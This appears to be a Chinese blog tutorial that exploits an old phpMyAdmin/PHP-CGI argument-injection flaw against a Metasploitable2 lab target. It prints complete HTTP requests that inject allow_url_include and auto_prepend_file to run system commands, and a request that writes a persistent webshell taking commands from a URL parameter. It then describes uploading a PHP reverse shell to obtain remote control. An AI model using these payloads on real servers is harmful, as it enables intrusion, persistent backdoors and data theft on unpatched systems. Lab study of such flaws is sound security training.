介绍一个早期phpMyAdmin软件的漏洞

phpMyAdmin简介

phpMyAdmin是安装在web服务器中的web接口,专门用来管理MySQL数据库。对于早期版本,安装后若是没有做安全配置,对敏感路径进行删除,则有可能留下安全隐患,其中最明显的为setup。

今天要演示的phpMyAdmin漏洞就是通过在URL地址编辑或者定制发送的指令,使其执行一个PHP页面。在安装比较旧版本phpMyAdmin的时候都采用默认配置,都会存在这个漏洞。

环境准备

靶机:Metasploitable2

攻击机:Kali

上面两个的安装我就不展开了,网上都有详细的教程,而且也非常简单。

漏洞判断

正常流程其实是扫描到目标机器安装了phpMyAdmin,然后我们确认其版本,并确认是否存在预期漏洞。我们准备的靶机Metasploitable2就是安装了这个软件并存在这个漏洞的,这里不演示前期扫描的动作了,感兴趣可以翻一下我以前发的服务扫描的帖子。

判断靶机中的phpMyAdmin是存在漏洞的依据,主要是在浏览器上访问目标机器的这个地址:

介绍一个早期phpMyAdmin软件的漏洞

判断靶机是否存在漏洞

192.168.188.129是靶机ip,只要访问这个地址成功,并显示这个页面,就说明这个phpMyAdmin有我们预期的漏洞。

漏洞-初步使用

这个漏洞的使用方式其实很简单,在kali打开burpsuite,切换到Repeater模块,然后将攻击目标改成靶机的ip和phpMyAdmin的端口:

介绍一个早期phpMyAdmin软件的漏洞

然后在request中输入以下请求内容:

POST http://192.168.1.175/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host:192.168.1.103
Content-Length: 35

<?php
passthru('pwd');
die();
?>

稍微做以下解释,地址后面用?拼接一长串的作用是对PHP的主配置文件.ini进行修改;allow_url_include是让请求能够对服务器上的其它文件进行引用;auto_prepend_file表示附加文件;passthru('pwd')作为参数的字符串就是系统操作指令,在linux可以说是terminal命令;die()表示执行到这里就结束,如果不加die(),会返回很多没用的代码。

点击左上角的send按钮,就能将请求发送给靶机,靶机会将请求中第6行passthru()方法里的命令执行结果返回给客户端:

介绍一个早期phpMyAdmin软件的漏洞

能执行系统指令,当然就可以向靶机写入文件,而能写入就能做很多操作了,比如提权、植入病毒、盗密码等等。

漏洞-写入webshell

写入webshell,直接用下面的内容作为请求:

POST http://192.168.1.175/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host:192.168.1.103
Content-Length: 100


<?php
passthru('echo "<?php $cmd = $_GET["cmd"];system($cmd);?>" > /var/www/a.php');
die();
?>

执行后收到的报文中看不出有没有成功:

介绍一个早期phpMyAdmin软件的漏洞

执行写入webshell的请求

可以在执行一些ls查看是否写入成功:

介绍一个早期phpMyAdmin软件的漏洞

检查写入的文件是否生成

还可以检查以下文件的内容是不是我们写入的:

介绍一个早期phpMyAdmin软件的漏洞

检查文件内容

确认无误后,就可以使用这个webshell了,直接用浏览器访问,并将需要执行的命令通过地址拼接传入,例如调用cmd执行命令:

介绍一个早期phpMyAdmin软件的漏洞

使用webshell

漏洞-传入一个PHP反弹shell

先解释一下什么是php反弹shell,就是植入这个php反弹shell后,被植入的机器会主动连接指定机器的指定端口,这样这台被访问的机器就能获取发起连接请求机器的控制权了。

kali里面有现成的php反弹shell,位置在/usr/share/webshells/php:

介绍一个早期phpMyAdmin软件的漏洞

php反弹shell

对php文件中的目标机器和端口进行修改:

介绍一个早期phpMyAdmin软件的漏洞

修改ip和端口

在填入ip这个机器开启指定端口的监听:

介绍一个早期phpMyAdmin软件的漏洞

开启监听

将修改过后的内容都通过请求发送给目标主机:

介绍一个早期phpMyAdmin软件的漏洞

发送php反弹shell

不会有请求结果返回,但是在监听的窗口可以看到收到了连接,拿到了shell:

介绍一个早期phpMyAdmin软件的漏洞

监听窗口

可以看到在这个连接中执行命令是有效的。

展开阅读全文

页面更新:2024-05-01

标签:靶机   漏洞   端口   指令   命令   机器   目标   地址   文件   内容   软件

1 2 3 4 5

上滑加载更多 ↓
推荐阅读:
友情链接:
更多:

本站资料均由网友自行发布提供,仅用于学习交流。如有版权问题,请与我联系,QQ:4156828  

© CopyRight 2008-2024 All Rights Reserved. Powered By bs178.com 闽ICP备11008920号-3
闽公网安备35020302034844号

Top